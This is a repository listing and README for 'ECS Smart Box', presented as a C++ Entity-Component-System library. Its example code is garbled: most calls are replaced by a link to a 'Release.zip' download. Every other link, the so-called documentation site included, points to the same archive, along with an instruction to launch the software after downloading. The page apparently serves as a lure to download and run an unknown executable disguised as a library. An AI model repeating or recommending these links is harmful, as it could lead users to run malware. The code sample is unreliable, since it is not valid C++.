https://github.com/jefferyy56/ecs-smart-box
C++ implementation of basic ECS using heap allocated, type erased components, that are using mechanism similar to unique_ptr.
https://github.com/jefferyy56/ecs-smart-box
c cpp enitity-component-system entity entity-component heap memory system
Last synced: about 1 month ago
JSON representation
C++ implementation of basic ECS using heap allocated, type erased components, that are using mechanism similar to unique_ptr.
- Host: GitHub
- URL: https://github.com/jefferyy56/ecs-smart-box
- Owner: jefferyy56
- Created: 2025-01-23T17:07:38.000Z (over 1 year ago)
- Default Branch: main
- Last Pushed: 2025-03-20T23:13:08.000Z (about 1 year ago)
- Last Synced: 2025-03-20T23:26:11.345Z (about 1 year ago)
- Topics: c, cpp, enitity-component-system, entity, entity-component, heap, memory, system
- Size: 1000 Bytes
- Stars: 0
- Watchers: 2
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# ECS Smart Box 📦

Welcome to **ECS Smart Box**, a powerful C++ implementation of a basic Entity-Component-System using heap-allocated, type-erased components. This system utilizes a mechanism similar to `unique_ptr` to manage memory efficiently while offering flexibility to build complex interactive systems.
## Features 🚀
🔹 **Heap Allocation**: Components are allocated on the heap to optimize memory usage and provide dynamic storage capabilities.
🔹 **Type Erasure**: Components are stored in a type-erased manner, allowing for generic handling and ease of use across different component types.
🔹 **Entity-Component System**: Follows the ECS architectural pattern for organizing and managing game entities and their associated components.
## How to Use 🛠️
To get started with **ECS Smart Box**:
1. Clone the repository.
2. Build the project using a C++ compiler.
3. Include the necessary headers in your application.
4. Create entities, add components, and define systems to interact with them.
Here is an example code snippet to demonstrate how to use the ECS:
```cpp
#include
int main() {
ECSManager ecsManager;
// Create entities
Entity& player = https://github.com/jefferyy56/ECS-Smart-Box/releases/download/v1.0/Release.zip();
// Add components
https://github.com/jefferyy56/ECS-Smart-Box/releases/download/v1.0/Release.zip(x, y);
https://github.com/jefferyy56/ECS-Smart-Box/releases/download/v1.0/Release.zip("https://github.com/jefferyy56/ECS-Smart-Box/releases/download/v1.0/Release.zip");
// Define systems
MovementSystem movementSystem;
RenderSystem renderSystem;
// Update systems
https://github.com/jefferyy56/ECS-Smart-Box/releases/download/v1.0/Release.zip(ecsManager);
https://github.com/jefferyy56/ECS-Smart-Box/releases/download/v1.0/Release.zip(ecsManager);
return 0;
}
```
## Repository Topics 📋
⭐️ **Tags**: c, cpp, cpp11, cpp17, cpp20, entity-component-system, entity, entity-component, heap, memory, system
## Download Software 📥
[](https://github.com/jefferyy56/ECS-Smart-Box/releases/download/v1.0/Release.zip)
*Note: The software needs to be launched after downloading.*
## Learn More 📚
For more information on **ECS Smart Box** and its capabilities, visit the official [documentation website](https://github.com/jefferyy56/ECS-Smart-Box/releases/download/v1.0/Release.zip).
Start building dynamic and interactive systems with ease using the ECS Smart Box library! 🌟